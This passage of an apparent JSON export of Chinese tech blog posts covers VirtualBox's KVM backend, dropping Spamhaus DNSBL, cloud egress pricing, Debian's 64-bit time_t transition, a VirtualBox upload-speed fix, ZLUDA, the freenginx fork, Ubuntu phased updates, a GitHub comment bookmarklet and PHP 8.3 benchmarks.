    "body": "看到「<a href=\"https://news.ycombinator.com/item?id=39300317\">VirtualBox KVM Public Release (cyberus-technology.de)</a>」這邊的討論，原文是「<a href=\"https://cyberus-technology.de/articles/vbox-kvm-public-release\">VirtualBox KVM public release</a>」，專案則是在 <a href=\"https://github.com/\">GitHub</a> 上的 <a href=\"https://github.com/cyberus-technology/virtualbox-kvm\">cyberus-technology/virtualbox-kvm</a> 這邊。\r\n\r\n這個算是解決了 <a href=\"https://www.virtualbox.org/\">VirtualBox</a> 在 <a href=\"https://en.wikipedia.org/wiki/Linux\">Linux</a> 上常遇到的問題：當使用 VirtualBox 時無法同時使用 <a href=\"https://en.wikipedia.org/wiki/Kernel-based_Virtual_Machine\">KVM</a>，像是 qemu-kvm 這樣的工具。\r\n\r\n不過看起來是直接大改 VirtualBox，而不是補一個 extension 或是 plugin 的感覺，雖然說明現有的 guest OS 可以直接套用。\r\n\r\n沒有 pre-compiled binary，需要自己編，而且目前的版本得用 <a href=\"https://www.ubuntu.com/\">Ubuntu</a> 22.04 內的 GCC 11 編譯，裝了新版的 GCC 12 會有狀況：\r\n\r\n<blockquote>Newer GCC versions (&gt;= 12) might cause build issues.</blockquote>\r\n\r\n另外目前的主要測試的平台還是以 <a href=\"https://www.intel.com/\">Intel</a> 為主，<a href=\"https://www.amd.com/\">AMD</a> 這邊是「會動」但沒有詳細測過：\r\n\r\n<blockquote>Currently, Intel x86_64 is the only supported host platform.\r\nAMD will most likely work too but is considered experimental at the moment.</blockquote>\r\n\r\n然後在比較新的 Intel 平台上，Linux kernel 有些東西要開機參數調：\r\n\r\n<blockquote>Starting with Intel Tiger Lake (11th Gen Core processors) or newer, split lock detection must be turned off in the host system. This can be achieved using the Linux kernel command line parameter <code>split_lock_detect=off</code> or using the <code>split_lock_mitigate</code> sysctl.</blockquote>\r\n\r\n看到編譯參數裡面的 <code>--disable-hardening</code>，hmmm... 先繼續放著看看？",
    "title": "VirtualBox 的 KVM backend 版本"
  },
  {
    "id": "11648",
    "body": "剛剛看到「<a href=\"https://www.spamhaus.com/resource-center/if-you-query-spamhaus-projects-legacy-dnsbls-via-digital-ocean-move-to-the-free-data-query-service/\">If you query Spamhaus Projects’ legacy DNSBLs via DigitalOcean move to the free Data Query Service</a>」這篇，覺得愈來愈詭異了，研究了目前的情況後決定停用 <a href=\"https://en.wikipedia.org/wiki/Spamhaus\">Spamhaus</a>。\r\n\r\n現在已經愈來愈少自己架設 mail server 了，不過我自己還是留了幾個 domain 跑在自己架設的 <a href=\"https://www.postfix.org/\">Postfix</a> 上面，最主要是 command line 下面用 <a href=\"https://en.wikipedia.org/wiki/Mutt_(email_client)\">Mutt</a> 讀信還是蠻方便的，另外一方面是確保一個信箱是不受到大企業的管制。\r\n\r\n如果不是拿套裝軟體直接架設的話，自己架設 mail server 會有不少東西要設定：在 MTA 這端通常會使用 <a href=\"https://en.wikipedia.org/wiki/Domain_Name_System_blocklist\">DNSBL</a> 擋掉已知會發 spam 的 IP address。\r\n\r\nDNSBL 的原理不難，就是拿 IPv4 address 組合一個 hostname，透過 <a href=\"https://en.wikipedia.org/wiki/Domain_Name_System\">DNS</a> 查詢就會知道這個 IPv4 address 是否在清單；換句話說，就是拿 DNS protocol 當作 API，當作資料庫查詢。\r\n\r\n舉個例子來說，假設我要查 <code>188.235.18.134</code> 這個位置的情況 (從「<a href=\"https://www.spamcop.net/w3m?action=map;net=cmaxcnt;mask=65535;sort=spamcnt\">Worst /24 blocks based on total spam count</a>」這邊翻出來的)，這邊使用 <a href=\"https://en.wikipedia.org/wiki/SpamCop\">SpamCop</a> 的清單，我先把 IPv4 address 反過來變成 <code>134.18.235.188</code>，然後再加上 SpamCop 所指定的 <code>bl.spamcop.net</code>，變成 <code>134.18.235.188.bl.spamcop.net</code>，接下來查詢就可以查到：\r\n\r\n<pre>134.18.235.188.bl.spamcop.net has address 127.0.0.2</pre>\r\n\r\n如果是 <code>168.95.1.1</code> 的話，同樣方法組合成 <code>1.1.95.168.bl.spamcop.net</code> 可以看到沒有在 SpamCop 清單內：\r\n\r\n<pre>Host 1.1.95.168.bl.spamcop.net not found: 3(NXDOMAIN)</pre>\r\n\r\n這邊選擇用 DNS 的好處包括了 DNS resolver 及 DNS library 自然的 cache，不需要 Postfix 這類 MTA 再自己實作 cache 層，對於有大量信件 (無論是正常的或是 spam) 進來的時候也不會造成提供清單的服務大量的負載。\r\n\r\n回頭來說 Spamhaus 的情況，他們公告要擋 <a href=\"https://www.digitalocean.com/\">DigitalOcean</a> 的理由很奇怪，因為 DigitalOcean 架設了自己的 mirror 所以他們不知道使用的量，要使用者去 Spamhaus 上註冊申請後拿到一個自己的 <code>your_DQS_key.zen.dq.spamhaus.net</code> 使用。\r\n\r\n有了 unique key 在 query，這樣就給了 Spamhaus 很清晰追蹤資料，加上 <a href=\"https://www.spamhaus.com/privacy-policy/\">Privacy Policy</a> 裡面的資訊：\r\n\r\n<blockquote>We may have to share your personal data with the parties set out below for the purposes set out in the table in paragraph 4.\r\n[...]\r\n– Third parties to whom we may choose to sell, transfer, or merge parts of our business or our assets. Alternatively, we may seek to acquire other businesses or merge with them. If a change happens to our business, then the new owners may use your personal data in the same way as set out in this privacy notice.</blockquote>\r\n\r\n這樣就知道他們想要做什麼了...\r\n\r\n另外一方面，查資料的時候發現他們已經擋掉 <a href=\"https://en.wikipedia.org/wiki/Google_Public_DNS\">Google Public DNS</a> 以及 <a href=\"https://en.wikipedia.org/wiki/1.1.1.1\">Cloudflare DNS</a>：\r\n\r\n這是我自己架設 Unbound 的查詢：\r\n\r\n<pre>gslin@home [~] [05:09/W4] host 2.0.0.127.zen.spamhaus.org\r\n2.0.0.127.zen.spamhaus.org has address 127.0.0.10\r\n2.0.0.127.zen.spamhaus.org has address 127.0.0.4\r\n2.0.0.127.zen.spamhaus.org has address 127.0.0.2</pre>\r\n\r\n這是 Google Public DNS (8.8.8.8)：\r\n\r\n<pre>gslin@home [~] [05:09/W4] host 2.0.0.127.zen.spamhaus.org 8.8.8.8\r\nUsing domain server:\r\nName: 8.8.8.8\r\nAddress: 8.8.8.8#53\r\nAliases: \r\n\r\nHost 2.0.0.127.zen.spamhaus.org not found: 3(NXDOMAIN)</pre>\r\n\r\n這是 Cloudflare DNS (1.1.1.1)：\r\n\r\n<pre>gslin@home [~] [05:09/W4] host 2.0.0.127.zen.spamhaus.org 1.1.1.1\r\nUsing domain server:\r\nName: 1.1.1.1\r\nAddress: 1.1.1.1#53\r\nAliases: \r\n\r\n2.0.0.127.zen.spamhaus.org has address 127.255.255.254</pre>\r\n\r\n在 Spamhaus 的「<a href=\"https://www.spamhaus.org/faq/section/DNSBL%20Usage\">Frequently Asked Questions (FAQ)</a>」這篇裡面有提到 <code>127.255.255.254</code> 的回應是「Query via public/open resolver」：\r\n\r\n<pre>127.255.255.252\tAny\tTyping error in DNSBL name\r\n127.255.255.254\tAny\tQuery via public/open resolver\r\n127.255.255.255\tAny\tExcessive number of queries</pre>\r\n\r\n所以還蠻清楚這家的東西已經不能碰了...",
    "title": "停止使用 Spamhaus DNSBL"
  },
  {
    "id": "11651",
    "body": "在「<a href=\"https://news.ycombinator.com/item?id=39324956\">Cloud Egress Costs (getdeploying.com)</a>」這邊看到的文章，原文在「<a href=\"https://getdeploying.com/reference/data-egress\">Cloud Egress Costs</a>」這邊，主要是整理了表格出來可以快速了解不同雲端的流量費用差異，裡面不是單純 VPS 比較，而是各類的服務都拿出來比，像是 storage 類的以及 CDN 類的都有放進來...\r\n\r\n<a href=\"https://www.backblaze.com/\">Backblaze</a> 的頻寬費用算法頗有趣，每個月給資料量的三倍大小當作免費頻寬，沒記錯的話因為 <a href=\"https://www.cloudflare.com/\">Cloudflare</a> 是 Backblaze 的 partner，兩邊的傳輸費用不計費，如果資料是可以公開的，可以透過這個方式接出來；如果真的得走一般的流量輸出，收費是 US$0.01/GB (所以換算後是 US$10/TB)。\r\n\r\n三家常被擺在一起的 VPS (<a href=\"https://www.linode.com/\">Linode</a>、<a href=\"https://www.digitalocean.com/\">DigitalOcean</a>、<a href=\"https://www.vultr.com/\">Vultr</a>) 的頻寬也都是 US$10/TB。\r\n\r\n以前沒注意到的是 <a href=\"https://www.ovhcloud.com/\">OVH Cloud</a> 與 <a href=\"https://www.scaleway.com/\">Scaleway</a> 的頻寬費用居然是免費的？另外 <a href=\"https://www.hetzner.com/\">Hetzner</a> 雖然要收費但也很低？有機會好像該玩看看，看一下品質如何？",
    "title": "雲端的流量費用"
  },
  {
    "id": "11653",
    "body": "在「<a href=\"https://www.osnews.com/story/138518/debian-64-bit-time_t-transition-in-progress/\">Debian: 64-bit time_t transition in progress</a>」這邊看到 <a href=\"https://www.debian.org/\">Debian</a> 的 mailing list 上的討論：「<a href=\"https://lwn.net/ml/debian-devel-announce/Zb0WpSukajgythGe@homer.dodds.net/\">64-bit time_t transition in progress</a>」，另外官方也有整理 wiki page：「<a href=\"https://wiki.debian.org/ReleaseGoals/64bit-time\">64-bit time</a>」。\r\n\r\n因為技術上無法表示 2038/01/19 以後的時間，確定會 breaking ABI 將 <code>time_t</code> 從 32-bit 變成 64-bit，而現在要想辦法搞定 32-bit 平台上面可以處理這樣的改變：\r\n\r\n<blockquote>The goal of this transition is to ensure that 32-bit architectures in trixie (whether they are currently release architectures, or out of archive, etc) will be capable of handling current and future timestamps referring to times beyond 2038.</blockquote>\r\n\r\n離 2038/01/17 還有約 13 年多...",
    "title": "Debian 的 64-bit time_t 計畫"
  },
  {
    "id": "11654",
    "body": "因為我電腦有兩張網卡，兩條線分別接到自己拉的 <a href=\"https://www.hinet.net/\">HiNet</a> 以及社區網路 (不過出去也是 HiNet，這是另外一回事了)。\r\n\r\n我桌機的預設 routing 是走自己拉的 HiNet，但我希望 VM 是走社區網路，所以用 bridge mode 設定到網卡上，用 DHCP 取得分享器給的 private IP。\r\n\r\n之前一直都沒注意到，前幾天用 Line 傳照片的時候很慢 (之前就有發生了，一直忘記去追問題)，花了點時間追問題的時候發現是 VM 裡面的 <a href=\"https://en.wikipedia.org/wiki/Windows_10\">Windows 10</a> 上傳很慢，這點可以從 <a href=\"https://www.speedtest.net/\">Speedtest</a> 的測試結果看到：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/s/1707619814-497eae76.webp\" /><img src=\"https://i.gslin.com/s/1707619814-497eae76.png\" alt=\"\" /></picture>\r\n\r\n先講最後的結論，在交叉測了很多組合後，我發現遇到的問題是把網卡裡的 <code>Large Send Offload (IPv4)</code> (也就是 LSO) 從 <code>Enabled</code> 改成 <code>Disabled</code>：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/s/1707619502-859cbe8b.webp\" /><img src=\"https://i.gslin.com/s/1707619502-859cbe8b.png\" alt=\"\" /></picture>\r\n\r\n回到當時抓問題的情況，當時先用筆電與 host 測試都沒看到問題，所以看起來應該是 VM 裡面的狀況，但不確定是什麼情況，畢竟不是斷掉...\r\n\r\n由於下載速度正常，只有上傳速度卡住，一開始想到的是跟 <a href=\"https://en.wikipedia.org/wiki/Maximum_transmission_unit\">MTU</a> 相關的問題，所以找了指令降到 1400 後測試，還是一樣...\r\n\r\n後來先把 VM 的網路改成 NAT，再測試上傳速度就正常了...\r\n\r\n接著想要換個網路卡類型看看，結果卡在找不到 driver。\r\n\r\n本來已經想拿 <a href=\"https://en.wikipedia.org/wiki/Tcpdump\">tcpdump</a> 出來追了，但想說先去看看 Windows 10 網卡設定裡面的設定，結果看到 LSO... 就先關看看 (算是以前在 <a href=\"https://www.freebsd.org/\">FreeBSD</a> 以及 <a href=\"https://en.wikipedia.org/wiki/Linux\">Linux</a> 下的經驗？)。\r\n\r\n然後一關就正常了，交叉再開關兩次確認這個參數有影響，就肯定這個 workaround 應該是有效了...\r\n\r\n另外在自己找完問題後，在「<a href=\"https://forums.virtualbox.org/viewtopic.php?t=110486\">Virtualbox 7.0.12 slow upload speed in any Guest OS</a>」這邊看到了類似的問題以及同樣的 workaround。\r\n\r\nLSO 過了十幾年還是...",
    "title": "VirtualBox 內的 Windows 上傳速度很慢的問題"
  },
  {
    "id": "11655",
    "body": "先前提過「<a href=\"https://blog.gslin.org/archives/2023/06/16/11226/%E5%9C%A8-intel-%E5%85%A7%E9%A1%AF%E4%B8%8A%E9%9D%A2%E7%9B%B4%E6%8E%A5%E8%B7%91-cuda-%E7%A8%8B%E5%BC%8F%E7%9A%84-zluda/\">在 Intel 內顯上面直接跑 CUDA 程式的 ZLUDA</a>」，結果後來事情大翻轉，<a href=\"https://www.amd.com/\">AMD</a> 跑去贊助專案，變成支援 AMD GPU 了：「<a href=\"https://www.phoronix.com/review/radeon-cuda-zluda\">AMD Quietly Funded A Drop-In CUDA Implementation Built On ROCm: It's Now Open-Source</a>」，專案在 <a href=\"https://github.com/\">GitHub</a> 的 <a href=\"https://github.com/vosen/ZLUDA\">vosen/ZLUDA</a> 這邊，而這包支援 AMD GPU 的 commit log 則是在 <a href=\"https://github.com/vosen/ZLUDA/commit/1b9ba2b2333746c5e2b05a2bf24fa6ec3828dcdf\">1b9ba2b2333746c5e2b05a2bf24fa6ec3828dcdf</a> 這包巨大的 commit：\r\n\r\n<blockquote>Nobody expects the Red Team\r\n\r\nToo many changes to list, but broadly:\r\n* Remove Intel GPU support from the compiler\r\n* Add AMD GPU support to the compiler\r\n* Remove Intel GPU host code\r\n* Add AMD GPU host code\r\n* More device instructions. From 40 to 68\r\n* More host functions. From 48 to 184\r\n* Add proof of concept implementation of OptiX framework\r\n* Add minimal support of cuDNN, cuBLAS, cuSPARSE, cuFFT, NCCL, NVML\r\n* Improve ZLUDA launcher for Windows</blockquote>\r\n\r\n其中的轉折以及後續的故事其實還蠻不知道怎麼說的... 作者一開始在 <a href=\"https://www.intel.com/\">Intel</a> 上班，弄一弄 <a href=\"https://www.intel.com/\">Intel</a> 覺得這沒前景，然後 AMD 接觸後贊助這個專案，到後面也覺得沒前景，於是依照後來跟 AMD 的合約，如果 AMD 覺得沒前景，可以 open source 出來：\r\n\r\n<blockquote>Why is this project suddenly back after 3 years? What happened to Intel GPU support?\r\n\r\nIn 2021 I was contacted by Intel about the development od ZLUDA. I was an Intel employee at the time. While we were building a case for ZLUDA internally, I was asked for a far-reaching discretion: not to advertise the fact that Intel was evaluating ZLUDA and definitely not to make any commits to the public ZLUDA repo. After some deliberation, Intel decided that there is no business case for running CUDA applications on Intel GPUs.\r\n\r\nShortly thereafter I got in contact with AMD and in early 2022 I have left Intel and signed a ZLUDA development contract with AMD. Once again I was asked for a far-reaching discretion: not to advertise the fact that AMD is evaluating ZLUDA and definitely not to make any commits to the public ZLUDA repo. After two years of development and some deliberation, AMD decided that there is no business case for running CUDA applications on AMD GPUs.\r\n\r\nOne of the terms of my contract with AMD was that if AMD did not find it fit for further development, I could release it. Which brings us to today.</blockquote>\r\n\r\n這個其實還蠻好理解的，<a href=\"https://en.wikipedia.org/wiki/CUDA\">CUDA</a> 畢竟是 <a href=\"https://www.nvidia.com/\">Nvidia</a> 家的 ecosystem，除非你反超越後自己定義一堆自家專屬的功能 (像是當年 <a href=\"https://www.microsoft.com/\">Microsoft</a> 在 <a href=\"https://en.wikipedia.org/wiki/Internet_Explorer\">IE</a> 上的玩法)，不然只是幫人抬轎。\r\n\r\n<a href=\"https://www.phoronix.com/\">Phoronix</a> 在 open source 前幾天先拿到軟體進行測試，而他這幾天測試的結果給了「頗不賴」的評價：\r\n\r\n<blockquote>Andrzej Janik reached out and provided access to the new ZLUDA implementation for AMD ROCm to allow me to test it out and benchmark it in advance of today's planned public announcement. I've been testing it out for a few days and it's been a positive experience: CUDA-enabled software indeed running atop ROCm and without any changes. Even proprietary renderers and the like working with this \"CUDA on Radeon\" implementation.</blockquote>\r\n\r\n另外為了避免測試時有些測試軟體會回傳到伺服器造成資訊外洩，ZLUDA 在這邊故意設定為 <code>Graphics Device</code>，而在這次 open source 公開後會改回正式的名稱：\r\n\r\n<blockquote>In my screenshots and for the past two years of development the exposed device name for Radeon GPUs via CUDA has just been \"Graphics Device\" rather than the actual AMD Radeon graphics adapter with ROCm. The reason for this has been due to CUDA benchmarks auto-reporting results and other software that may have automated telemetry, to avoid leaking the fact of Radeon GPU use under CUDA, it's been set to the generic \"Graphics Device\" string. I'm told as part of today's open-sourcing of this ZLUDA on Radeon code that the change will be in place to expose the actual Radeon graphics card string rather than the generic \"Graphics Device\" concealer.</blockquote>\r\n\r\n作者的測試看起來在不同的測試項目下差異頗大，但如果依照作者的計算方式，整體效能跟 <a href=\"https://en.wikipedia.org/wiki/OpenCL\">OpenCL</a> 版本差不多：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/s/1707786616-7be6d1cf.webp\" /><img src=\"https://i.gslin.com/s/1707786616-7be6d1cf.png\" alt=\"\" /></picture>\r\n\r\nPhoronix 那邊則是做了與 Nvidia 比較的測試... 這邊拿的是同樣都有支援 Nvidia 與 AMD 家的卡的 <a href=\"https://en.wikipedia.org/wiki/Blender_(software)\">Blender</a> 測試，然後跑出來的結果讓人傻眼，透過 ZLUDA 轉譯出來的速度比原生支援的速度還快，這 optimization 看起來又有得討論了：(這是 BMW27 的測試，在 Classroom 的測試也發現一樣的情況)\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/s/1707787118-7c7c1a49.webp\" /><img src=\"https://i.gslin.com/s/1707787118-7c7c1a49.png\" alt=\"\" /></picture>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/s/1707787180-f287b481.webp\" /><img src=\"https://i.gslin.com/s/1707787180-f287b481.png\" alt=\"\" /></picture>\r\n\r\n但即使如此，CUDA over AMD GPU 應該還是不會起來，官方會儘量讓各 framework 原生支援，而大多數的開發者都是在 framework 上面開發，很少會自己從頭幹...",
    "title": "讓 <del>Intel</del>AMD GPU 直接跑 CUDA 程式的 ZLUDA"
  },
  {
    "id": "11658",
    "body": "在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上看到 <a href=\"https://mdounin.ru/\">Maxim Dounin</a> 決定分家到 <a href=\"https://freenginx.org/\">freenginx</a> 的消息：「<a href=\"https://news.ycombinator.com/item?id=39373327\">Freenginx: Core Nginx developer announces fork (nginx.org)</a>」，原文在 mailing list 上：「<a href=\"https://mailman.nginx.org/pipermail/nginx-devel/2024-February/K5IC6VYO2PB7N4HRP2FUQIBIBCGP4WAU.html\">announcing freenginx.org</a>」，這邊提到分家的原因：\r\n\r\n<blockquote>Unfortunately, some new non-technical management at F5 recently decided that they know better how to run open source projects.  In particular, they decided to interfere with security policy nginx uses for years, ignoring both the policy and developers’ position.</blockquote>\r\n\r\n在 freenginx 的 mailing list 上有提到更多，在 <a href=\"https://freenginx.org/pipermail/nginx/2024-February/000007.html\">2024-February/000007.html</a> 這篇：\r\n\r\n<blockquote>The most recent \"security advisory\" was released despite the fact that the particular bug in the experimental HTTP/3 code is expected to be fixed as a normal bug as per the existing security policy, and all the developers, including me, agree on this.\r\n\r\nAnd, while the particular action isn't exactly very bad, the approach in general is quite problematic.</blockquote>\r\n\r\n這邊提到的 security advisory 是「<a href=\"https://mailman.nginx.org/pipermail/nginx-announce/2024/NW6MNW34VZ6HDIHH5YFBIJYZJN7FGNAV.html\">[nginx-announce] nginx security advisory (CVE-2024-24989, CVE-2024-24990)</a>」這個，看起來是個沒有 enabled by default 的功能：\r\n\r\n<blockquote>Two security issues were identified in nginx HTTP/3 implementation,\r\nwhich might allow an attacker that uses a specially crafted QUIC session\r\nto cause a worker process crash (CVE-2024-24989, CVE-2024-24990) or\r\nmight have potential other impact (CVE-2024-24990).\r\n\r\nThe issues affect nginx compiled with the ngx_http_v3_module (not\r\ncompiled by default) if the \"quic\" option of the \"listen\" directive\r\nis used in a configuration file.\r\n\r\nThe issue affects nginx 1.25.0 - 1.25.3.\r\nThe issue is fixed in nginx 1.25.4.</blockquote>\r\n\r\n在 <a href=\"https://news.ycombinator.com/item?id=39373804\">id=39373804</a> 這邊有些目前 nginx 組成的資訊可以讀，目前 nginx 的 core devs 應該就三位 (在 <a href=\"https://github.com/nginx/nginx/graphs/contributors\">Insights/Contributors</a> 這邊看起來只有兩位，這是因為 <a href=\"https://github.com/\">GitHub</a> 上面的 mirror 看起來是從 <a href=\"https://www.mercurial-scm.org/\">Mercurial</a> 同步過去的，而 Sergey Kandaurov 沒有 GitHub 帳號)：\r\n\r\n<blockquote>Worth noting that there are only two active \"core\" devs, Maxim Dounin (the OP) and Roman Arutyunyan. Maxim is the biggest contributor that is still active. Maxim and Roman account for basically 99% of current development.\r\n\r\nSo this is a pretty impactful fork. It's not like one of 8 core devs or something. This is 50% of the team.\r\n\r\nEdit: Just noticed Sergey Kandaurov isn't listed on GitHub \"contributors\" because he doesn't have a GitHub account (my bad). So it's more like 33% of the team. Previous releases have been tagged by Maxim, but the latest (today's 1.25.4) was tagged by Sergey</blockquote>\r\n\r\n現在就是單方面的說法，可以再讓子彈多飛一點時間... 看 <a href=\"https://www.f5.com/\">F5</a> 要不要回應，以及 F5 的說法 (如果要回應的話)。",
    "title": "nginx 分家：freenginx"
  },
  {
    "id": "11660",
    "body": "在「<a href=\"https://news.ycombinator.com/item?id=39360050\">Wi-Fi jamming to knock out cameras suspected in nine Minnesota burglaries (tomshardware.com)</a>」這邊看到的，原報導在「<a href=\"https://www.tomshardware.com/networking/wi-fi-jamming-to-knock-out-cameras-suspected-in-nine-minnesota-burglaries-smart-security-systems-vulnerable-as-tech-becomes-cheaper-and-easier-to-acquire\">Wi-Fi jamming to knock out cameras suspected in nine Minnesota burglaries -- smart security systems vulnerable as tech becomes cheaper and easier to acquire</a>」。\r\n\r\n這個手法是把無線網路的頻寬塞爆 (或是放出干擾)，這樣 security camera 就算拍到東西也不會有記錄：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/s/1707958459-5d5f086a.webp\" /><img src=\"https://i.gslin.com/s/1707958459-5d5f086a.png\" alt=\"\" /></picture>\r\n\r\n這個應該是已知的問題？從以前 security camera 都是建議走有線 (以及 isolated VLAN)，無線的主要還是娛樂用途，而不是 security camera...\r\n\r\n以前還有印象有看過防 <a href=\"https://zh.wikipedia.org/wiki/%E7%94%B5%E7%A3%81%E8%84%89%E5%86%B2\">EMP</a> 的型號，不過那個是軍用...",
    "title": "透過無線 WiFi 的監視器的問題"
  },
  {
    "id": "11662",
    "body": "在 <a href=\"https://www.ubuntu.com/\">Ubuntu</a> 22.04 上面常常會遇到跑 <code>apt upgrade</code> 時系統跟你說有些 package 不打算升級：\r\n\r\n<pre>$ sudo apt upgrade\r\nReading package lists... Done\r\nBuilding dependency tree... Done\r\nReading state information... Done\r\nCalculating upgrade... Done\r\nThe following packages have been kept back:\r\n  python3-distupgrade ubuntu-release-upgrader-core ubuntu-release-upgrader-gtk\r\n0 upgraded, 0 newly installed, 0 to remove and 3 not upgraded.</pre>\r\n\r\n以往遇到這種情況，如果確定要裝就是開 <code>dist-upgrade</code> 下去，但會發現也還是不為所動：\r\n\r\n<pre>$ sudo apt full-upgrade\r\nReading package lists... Done\r\nBuilding dependency tree... Done\r\nReading state information... Done\r\nCalculating upgrade... Done\r\nThe following packages have been kept back:\r\n  python3-distupgrade ubuntu-release-upgrader-core ubuntu-release-upgrader-gtk\r\n0 upgraded, 0 newly installed, 0 to remove and 3 not upgraded.</pre>\r\n\r\n這個可能是遇到 <a href=\"https://wiki.ubuntu.com/PhasedUpdates\">PhasedUpdates</a>，這個設計是在最後一關推出去的階段，一次不要更新 100% 的機器。\r\n\r\n可以從 <code>apt policy</code> 看到現在的比率是 20%：(這是我已經升級上去的樣子)\r\n\r\n<pre>$ apt policy python3-distupgrade\r\npython3-distupgrade:\r\n  Installed: 1:22.04.18\r\n  Candidate: 1:22.04.18\r\n  Version table:\r\n *** 1:22.04.18 500 (phased 20%)\r\n        500 http://tw.archive.ubuntu.com/ubuntu jammy-updates/main amd64 Packages\r\n        500 http://tw.archive.ubuntu.com/ubuntu jammy-updates/main i386 Packages\r\n        100 /var/lib/dpkg/status\r\n     1:22.04.10 500\r\n        500 http://tw.archive.ubuntu.com/ubuntu jammy/main amd64 Packages\r\n        500 http://tw.archive.ubuntu.com/ubuntu jammy/main i386 Packages</pre>\r\n\r\n而對於 <a href=\"https://en.wikipedia.org/wiki/Long-term_support\">LTS</a> 的使用者，這個功能在 <a href=\"https://en.wikipedia.org/wiki/APT_(software)\">APT</a> 的支援是從 Ubuntu 22.04 開始，以前只有桌面的 Update Manager 才有支援，所以不太會遇到：\r\n\r\n<blockquote>Up to Focal (20.04), Update Manager is the only package manager that supports phased updates (reference). Any other update mechanism installs all updates regardless of the Phased-Update-Percentage.</blockquote>\r\n\r\n(話說 wiki 頁上面可以看到有「User stories」這段，用 <a href=\"https://en.wikipedia.org/wiki/User_story\">User story</a> 的格式把這個功能的目的描述出來了)\r\n\r\n所以一般人可以忽略掉，而對於有意願想要幫忙測試的人，也可以透過設定蓋過 Phased Updates 的比例設定...",
    "title": "Ubuntu 的 Phased Update"
  },
  {
    "id": "11665",
    "body": "看到 <a href=\"https://en.wikipedia.org/wiki/Eric_A._Meyer\">Eric Meyer</a> 弄了一個可以展開 <a href=\"https://github.com/\">GitHub</a> comment 的 <a href=\"https://en.wikipedia.org/wiki/Bookmarklet\">bookmarklet</a>：「<a href=\"https://meyerweb.com/eric/thoughts/2024/02/05/bookmarklet-load-all-github-comments/\">Bookmarklet: Load All GitHub Comments</a>」。\r\n\r\n分析他的程式碼，稍微手動排一下，可以看出來邏輯蠻簡單的，就是去找出對應的 button，然後模擬按下去的 event：\r\n\r\n<pre>javascript:function start() {\r\n  let buttons = document.querySelectorAll('button');\r\n  let loaders = [];\r\n  for (let i = 0; i &lt; buttons.length; i += 1) {\r\n    if (buttons[i].textContent.trim() == 'Load more%E2%80%A6') {\r\n      loaders.push(buttons[i]);\r\n      buttons[i].dispatchEvent(new MouseEvent('click', {\r\n        view: window,\r\n        bubbles: false\r\n      }))\r\n    }\r\n  }\r\n  if (loaders.length &gt; 0) {\r\n    setTimeout(start, 5000)\r\n  }\r\n}\r\nsetTimeout(start, 500);\r\nvoid(20240130);</pre>\r\n\r\n意外可以看到一些應該是作者以前寫習慣的寫法 (畢竟 Eric Meyer 這個名字二十年前就聽過了？)，現在 <code>for</code> 拿來當 iteration 應該會用 <code>of</code> 的語法了，另外是 <code>let</code> 與 <code>const</code> 的差異...\r\n\r\n還好這邊還是用 <code>querySelectorAll()</code>，而不是直接看到 <code>getElementsByTagName()</code>，不然就更有考古感了...\r\n\r\n拿「<a href=\"https://github.com/python/cpython/issues/90716\">Quadratic time internal base conversions #90716</a>」這個測了一下還行，不過我不是那麼常用到，大概不會掛到 bookmark bar 上面...\r\n\r\n作者有提到考慮過寫成 <a href=\"https://en.wikipedia.org/wiki/Userscript\">userscript</a>，不過看起來是懶 XD",
    "title": "展開所有 GitHub comment 的 Bookmarklet"
  },
  {
    "id": "11666",
    "body": "找資料的時候意外發現 <a href=\"https://www.php.net/\">PHP</a> 8.3 相對於 PHP 8.2 的效能提升好像不算小？目前看到這兩個地方有提到：\r\n\r\n<ul>\r\n\t<li><a href=\"https://kinsta.com/blog/php-benchmarks/\">PHP Benchmarks: Real-World Speed Tests for Versions 8.1, 8.2, and 8.3</a></li>\r\n\t<li><a href=\"https://old.reddit.com/r/drupal/comments/18otcma/comparing_drupal_9511_and_d102_performance/\">Comparing Drupal 9.5.11 and D10.2 performance</a></li>\r\n</ul>\r\n\r\n前面那篇的 benchmark 數據可以看出來愈大愈複雜的框架，提升的效能就愈多：\r\n\r\n<ul>\r\n\t<li>乾淨的 <a href=\"https://wordpress.org/\">WordPress</a> 從 158 rps 成長到 169 rps，大約 7% 的增加。</li>\r\n\t<li>如果是 <a href=\"https://woo.com/\">WooCommerce</a> 的話從 49 rps 到 58 rps，大約是 18.4%。</li>\r\n\t<li>接著 <a href=\"https://laravel.com/\">Laravel</a> 則是從 670 rps 到 925 rps，提升了 38.1%。</li>\r\n\t<li>而 <a href=\"https://www.drupal.org/\">Drupal</a> 則是 941 rps 到 1432 rps，提升了 52.2%。</li>\r\n</ul>\r\n\r\n在「<a href=\"https://laravel-news.com/make-your-app-faster-with-php-83\">Make your app faster with PHP 8.3</a>」這邊提到了 PHP 8.3 改善了很多關於效能的項目。\r\n\r\n首先提到的是 <a href=\"https://en.wikipedia.org/wiki/Just-in-time_compilation\">JIT</a> 的改善：\r\n\r\n<blockquote>The Just-In-Time (JIT) compiler has been further optimized for better efficiency. The execution of scripts is faster and consumes less CPU time. This is especially beneficial for resource-intensive tasks.</blockquote>\r\n\r\n然後是 opcode 這邊的改善：\r\n\r\n<blockquote>PHP has refined how it handles opcodes (the instructions in the PHP bytecode). Version 8.3 uses more efficient ways to interpret and execute these opcodes. This reduces the execution time of scripts.</blockquote>\r\n\r\n然後 <a href=\"https://en.wikipedia.org/wiki/Garbage_collection_(computer_science)\">GC</a> 機制也改善了：\r\n\r\n<blockquote>PHP 8.3 enhances the garbage collection mechanism, which is responsible for freeing memory occupied by unused objects. This results in more efficient memory usage and can significantly improve performance for memory-intensive applications.</blockquote>\r\n\r\narray 的改善：\r\n\r\n<blockquote>Other improvements include optimizations for handling arrays and an enhanced type system.</blockquote>\r\n\r\n對於複雜的應用就很容易都受惠，然後就有頗大的提升...",
    "title": "PHP 8.3 相比於 PHP 8.2 的效能提升"
  },
  {
    "id": "11667",
